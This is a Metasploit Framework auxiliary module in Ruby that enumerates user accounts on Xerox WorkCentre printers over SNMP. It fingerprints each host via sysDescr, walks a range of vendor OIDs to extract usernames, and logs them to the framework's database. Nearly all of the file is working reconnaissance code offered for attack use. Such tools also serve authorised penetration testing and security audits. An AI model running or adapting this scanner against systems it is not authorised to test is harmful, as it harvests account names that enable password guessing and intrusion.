##
# $Id: xerox_workcentre_enumusers.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::SNMPClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'           => 'Xerox WorkCentre User Enumeration (SNMP)',
			'Version'        => '$Revision: 12196 $',
			'Description'    => %q{
					This module will do user enumeration based on the Xerox WorkCentre present on the network.
					SNMP is used to extract the usernames.
			},
			'Author'         =>
				[
					'pello <fropert[at]packetfault.org>'
				],
			'License'        => MSF_LICENSE
		)
	end

	def run_host(ip)
		begin
			snmp = connect_snmp

			if snmp.get_value('sysDescr.0') =~ /Xerox/
				@users = []
				285222001.upto(285222299) { |oidusernames|
					snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
						row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 }
					end
				}
				print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ")
				
				@users.each do |user|
					report_note(
					:host => rhost,
					:port => datastore['RPORT'],
					:proto => 'udp',
					:sname => 'snmp',
					:update => :unique_data,
					:type => 'xerox.workcenter.user',
					:data => user)
				end
			end

			disconnect_snmp

		# No need to make noise about timeouts
		rescue ::SNMP::UnsupportedVersion
		rescue ::SNMP::RequestTimeout
		rescue ::Rex::ConnectionRefused
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
		end
	end
end